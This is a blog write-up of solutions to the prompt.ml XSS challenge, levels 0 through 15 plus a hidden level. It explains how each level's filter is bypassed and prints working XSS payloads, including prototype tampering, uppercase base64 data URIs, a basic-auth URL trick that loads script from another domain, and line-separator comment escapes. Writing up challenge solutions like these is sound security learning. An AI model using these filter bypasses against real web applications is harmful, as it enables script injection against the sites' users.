prompt.ml XSS Summary – Part 2

Hi again 🙂

First of all, if you are not familiar with promt.ml XSS challenge, please stop reading and go try your luck – much fun guaranteed!!

Secondly, if you are familiar with this challenge, and you have solved the first 8 levels – feel free to read my summary to these levels

Now that the prompt.ml challenge is officially over, and the XSS Challenge wiki is out, i took the liberty of posting the solutions for levels 9 – 15.

Most of the descriptions here are from the wiki, because i was too lazy to type my own 😛

Level 9

level_9

Level 9 uses the regular expression “<([a-zA-Z])” which prevents the user from adding any alphabet followed by an opening bracket (<) and hence preventing us from injecting a valid HTML tag. However the problem here is thetoUpperCase() method converts not only English alphabet, but also some Unicode characters, as ECMAScript Language Specification states:

This function behaves in exactly the same way as String.prototype.toLowerCase, except that characters are mapped to their uppercase equivalents as specified in the Unicode Character Database.

The ſ character, when passed to the toUpperCase() function would be converted to the ASCII character “S” hence solving our problem.

level_9_31

Level 10

level_10

Level 10 is one of the easier to solve levels of this challenge. There are two regular expressions to bypass: the first removes all the occurrences of promptkeyword, while the second removes all single quotes '. To bypass the first regular expression is enough a single quote to split prompt keyword to pr'ompt, this clearly is not a valid JavaScript instruction but no panic the second regular expression will remove the intruder character ' giving back a valid attack vector!

level_10_10

Level 11

level_11

Level 11 allows us to inject directly into what will be the body of a script element. However, before doing so, the string we can influence experiences heavy filtering and we cannot inject any operators or other language elements that would allow for easy concatenation and payload injection. The trick here is to use an operator, that is alphanumeric – so an operator that doesn’t require us to use the banned special characters. Well. There is a bunch of these and one we can utilize here. The in operator.

level_11_15

Level 12 – for the lulz 🙂

level_12

This level seems to expect some kind of aaencode solution (at lest the comments suggest that – there are a few short solutions in “plain text”)

but, anyways, the good old String.fromChardCode can always help to get you to the longest vector 🙂

level_12_1055

 

Level 13

level_13

Level 13 requires a couple of interesting tricks, one of which will also be useful for the hidden level. The main goal of this level is to tamper with a JSON object (config) with a special key (source) and bypassing a bunch of limitations. Note: We have to manage to get the payload through JSON.parse(). Which is not easy and prohibits anything active and dangerous.

Analyzing the code, there’s no way to inject any attack vector within source, the only hope is in the __proto__ property of Object.prototype. A deprecatedproperty that is still present in all modern browsers.

The idea is to redefine the source value and use some filters against themselves, yeah mad but awesome! To do this, we must remind some main rules:

  • There must be only one source key
  • The source key must have a valid value otherwise will be removed:
  • // forbit invalid image source
    if (/[^\w:\/.]/.test(config.source)) {
        delete config.source;
    }
    

So, if we provide an object like this:

{"source":"_-_invalid-URL_-_","__proto__":{"source":"my_evil_payload"}}`

we have a valid object with two keys: source and __proto__.

config = {
    "source": "_-_invalid-URL_-_",
    "__proto__": {
        "source": "my_evil_payload"
    }
}

Now the interesting part. We said that the 2nd rule requires a valid image source, but the one provided is not valid (_-_invalid-URL_-_) and thus we triggered thedelete instruction: delete config.source;. Awesome! That’s is what we were looking for. At this point the config object is as follows:

config = {
    "__proto__": {
        "source": "my_evil_payload"
    }
}

This means that we have a new getter for source! In fact, config.source is equal to config.__proto__.source, this because __proto__ is an accessor property (getter/setter function). Now we have a way to inject our attack vector withinsource, but now the problem is this rule:

var source = config.source.replace(/"/g, '');

If we cannot inject a " character we still cannot break the injection point:

<img src="{{source}}">;

We need another trick .. say hello to String.replace()! It’s not commonly known that the replace method accepts some Special replacement patterns.
This is what we need:

 $`   | Inserts the portion of the string that follows the matched substring 

So, injecting the following…

{"source":"_-_invalid-URL_-_","__proto__":{"source":"$`onerror=prompt(1)>"}}

… will give us working payload without even using the double-quote!

level_13_59

Level 14

level_14

Although at first sight, it might seem easy – you can simply close the img tag with “> and then insert your own tags – and let the party begin.
But, very soon you realize that this level is quite nasty – and this is because of a few reasons:

  • You can open <SCRIPT> tags, but all of your code must be UPPER CASE.
  • vbscript is blocked, so you can’t get away with <SCRIPT TYPE=VBSCRIPT>PROMPT 1</SCRIPT> (BTW, the short IE only solutions do hint that a vbs vector exists)
  • You can’t load anything from any uri scheme that isn’t data:, so no <SCRIPT SRC=//XSS.XOM/></SCRIPT>
  • “+” is blocked, so you can’t use methods like jjencode and aaencode (or JSF*ck)

The replacement of all uri schemes to “data:” gave a lead in that direction, but:

  • \, &, and % are blocked, so you can’t use simply use text/html and hide the lower case xss in hex / decimal encodings (&#00;, \x00, %00, etc..)

The remaining solution seemed clear: create a script tag, and use base64, to hide “prompt(1)” in the data scheme. like this:

<script/src=’data:text/html;base64,cHJvbXB0KDEp’/></script>

I only had one problem: my payload gets upper-cased 🙁

This affected the definition of “base64” – out of the 3 browsers i checked, only FF accepted “BASE64”.

And, of course, the base64 payload itself had to work in upper case (and not contain a plus (+) sign !)

In order to understand what will be lost if the escape function will upper case my base64 payload, i wrote a simple tool that demonstrates this process.

here are the results (first line is the inupt, the second line is base64encode(input), and third is: “base64decode(base64encode(input).toUpperCase() ” ):

level_14_explain_1 level_14_explain_2 level_14_explain_3

As you can see, the base64 contains a decent amount of lower case chars, and converting them to upper case loses their content.

Adding spaces to the input does give different blocks of responses, but still they all contains lower case chars.

The next test i did, was to check what happens if my input is already upper case. the results were much better:

level_14_explain_4

still there are a few lower case chars, but if we pad the area that the are created with spaces, it makes their loss not important.

now, having an upper case code is exactly where we were in the begining, but with once change: now we can <SCRIPT SRC=//XSS.XOM/></SCRIPT>

so.. after much effort, I found a vector that works in pure upper case base64:

level_14_explain_5 level_14_explain6

A few notes about this output:

  • FF and chrome accept http:domain.com and http:/domain.com. (chrome will also get http:/\domain.com and http:\/domain.com)
  • I didn’t find a way to get any of the above pass the base64 uppercase routine with http:, I only managed https: in
  • There were still some glitches (marked in yellow), but newlines and spaces solved most of them, and the rest are acceptible by FF.
  • It was hard!@!@!@!@!@

So, now I have a script that is loaded from https://pmt1.ml, and I can embed it in an iframe using bas64 data uri scheme, without fearing upper case!

<IFRAME/SRC=”data:TEXT/HTML;BASE64,ICA8U0NSSVBUL1MGIIINU3JDICAKICA9SFRUUFM6UE1UMS5NTD4GPC9TQ1JJUFQKPD4=”>

One last note, because the script is running from within an iframe, it needs to call window.parent.promt(1) instead of just promt(1)

So the code in pmt1.ml is:

if(typeof window.parent != “undefined” && typeof window.parent.prompt == “function”) { window.parent.prompt(1); } else { prompt(1); }

level_14_102

Level 15

level_15

Like Level 7, also here the input is split into segments separated by the # char.

Each segment is stripped to a maximum length of 15 chars, and warped in a <p>tag.

The key difference is that unlike Level 7, it’s not possible to use the /* JS comments, and quotes will be cut due to the “data-comment” attribute which is added to each segment.

A Trick we can use here, is to use HTML comments <!-- in a <svg> tag to hide the “junk”

level_15_explain

level_15_57

 

Hidden Level

level_-1

To conclude the challenge @filedescriptor placed a hidden level. At first glance, because of the history API, it seems an HTML5 challenge but it is not. The goal is to break the conditional statement and, of course, call prompt(1). Furthermore, there is a simple but really effective filter to bypass:

  • } and < are denied

Ok this challenge is pure madness, I agree but if you’ve done all levels before, surely you remember the special trick in Level 13 about the replace function. That trick is part of the solution. The next trick is a basic feature of JavaScript, ignored by many but powerful: Hoisting.
Basically, what JavaScript says is:

it does not matter where you put your objects, if I find a declaration I’ll evaluate it first of all.

So, keep in mind that JavaScript hoists declarations (not initializations). At this point, the idea is to inject the declaration of a new object named history with a length as big as 1337. In this way it will be hoisted and will overwrite the existinghistory object with the new one created and will pass the conditional statement.

Now the question is: what’s the right object to use? The only object able to include declaration and initialization in one statement is the Function. In fact, one of the possible methods to define a new function is named Function Declarationand use the following syntax:

function functionDeclaration(a,b,c) {
    alert('Function declared with ' + functionDeclaration.length + ' parameters');
}


functionDeclaration(); //alert > Function declared with 3 parameters

To pass the conditional statement, we’ll need a function with 1338 parameters, but this is still not enough. We need a way to close the declaration because the regex is still there…and here comes the String.replace() trick with is useful pattern: $&. What it does is to insert the matched substring within the string, exactly what we are looking for since the matched substring {{injection}}contains the closing curly bracket!
With the right combination of elements, we can generate something like:

if (history.length > 1337) {                                 
   // you can inject any code here
   // as long as it will be executed
   function history(l,o,r,e,m...1338 times...){{injection}}
   prompt(1)
}   

and the payload would be:

function history(l,o,r,e,m, ....)$&prompt(1)

level_-1_1337

prompt.ml XSS Summary – Part 1

Here are my solutions for @filedescriptor’s prompt(1) XSS challenges.

Like Erling Ellingsen’s alert(1) XSS challenges, these challenges are very interesting, and sometimes even frustrating 🙂
(you see can a great write up about that challenge by Alvaro Muñoz here)

The purpose of this post is to explain my solutions for this challenge, and perhaps get feedback for solutions with a smaller payload.

Of course, much of the fun is to solve these challenges by yourself.. so please don’t read before you actually try to solve them alone 🙂

In this post I will cover levels 0 to 8. in the next post I hope cover the rest..

Level 0

level_0

no escaping, so the quickest solution i found for all browsers was to use <body onload=”prompt(1)”>

level_0_25

in IE, we can also use the onresize event for <input:

level_0_20_ie

Level 1

level_1

Also here, we open a body tag, and exploit the closing > of </article> to close it:

level_1_23

Level 2

level_2

Here stuff got a little more complicated 🙂

The escape function seriously disallows equal signs and open parenthesis.

If only the parenthesis sign was disabled, we could have used this nice XSS technique described by Gareth Heyes (http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/)

<script>onerror=eval;throw’=prompt\x281\x29′;</script>

Unfortunately, also the equals sign for “onerror=eval;” is not allowed, so we need another vector

the solution i found was to inject the xss using  a <svg> tag:

level_2_35

here is a great explanation for why it works:

level_2_explain

source: http://security.stackexchange.com/questions/36701/why-does-this-xss-vector-work-in-svg-but-not-in-html

more about svg xss is in mario’s presentation here:

https://www.owasp.org/images/0/03/Mario_Heiderich_OWASP_Sweden_The_image_that_called_me.pdf

 

Level 3

level_3

in this level we need to break html comments, without using anything containing “->”

here again an insight from mario led to the solution:

level_3_explain

(I actually found the reference to this tweet in a great post by Jon Passki:

https://communities.coverity.com/blogs/security/2012/11/16/did-i-do-that-html-5-js-escapers-3)

So, the solution looks like this:

level_3_26

Level 4

level_4

This is a very nice level.

Basically, the fault of the escape function here, is that it calls decodeURIComponent before checking that the script’s src url matches (https?:)//prompt.ml/

So.. this means that we can enter %2f instead of the trailing / – in order to break the format of a legitimate url.

Now the url is broken, we can convince the browser that the prompt.ml%2f is actually a http basic auth username, that we are passing to a different domain

(i.e. http://user:password@example.com )

If we type //prompt.ml%2f@pmt1.ml it will actually load the content of “pmt1.ml”;

level_4_22

Level 5

level_5

here the escape function allows us to pass a quote to the input tag, so we can create new attributes.

it tries to clear all of the onXXXX= events, but it fails because the regex doesn’t handle multi-line input. so we can insert a new line before the equals sign.

now, we could have used the autofocus vector: <input onfocus=”prompt(1)” autofocus>, but also anything containing “focus” is replaced.

The remaining vectors are to use the onresize event for Internet Explorer:

level_5_21_ie

In other browsers, we can override the type of the input to “image” and then use its “onerror” event:

level_5_35

 

Level 6

level_6

In this level, the javascript tries to prevent form submission, if the form’s action contains “javascript”.

the fault here, is that we are allowed to create our own inputs in the form.

so if we create an input named “action”, then checking document.forms[0].action will lead to our new input field instead to the actual form’s action attribute:

level_6_33

 

Level 7

level_7

this is a nice level, where basically we need to build our xss in segments of 12 chars or less

the trick is to use the first segment to close the <p> tag and start our own tag (in my case <body )

then, we open an attribute to contain the “junk” that will be placed between the first and second segments.

in the second segment, we close our “junk” attribute, and open our event (“on load”), then we use a js comment (/*) to contain the “junk” that will be placed between the second and third segments

in the third segment we close the js comment, and call prompt(1)

level_7_explain

level_7_35

 

 

Level 8

level_8

The first challenge here is to break js single line comments.

the escape function does filter out \r and \n, but there are other chars that can break a new line in javascript:

* \u2028 Line Separator
* \u2029 Paragraph Separator

so if we inject \u2028, the output will be:

<script>
// console.log(”
prompt(1)”);
</script>

now the next challenge is to get rid of the trailing “);

it would have been simple if we could use // ot </script>, but / and < are not allowed.

according to http://javascript.spec.whatwg.org/#comment-syntax , we can use –> as a js comment too

so, we go down another line use the closing html comment –>

<script>
// console.log(”
prompt(1)
–>”);
</script>

the easiest way for me to insert \u2028 to the input box was via the console line:

document.getElementById(“input”).value=”\u2028prompt(1)\u2028–>”;

level_8_explain

Then, i just put 1 inside prompt():

level_8_14


Hope you had fun reading this post. see you in the next part 🙂

Please share your thoughts comments, and once again, thanks to @filedescriptor on this great challenge 🙂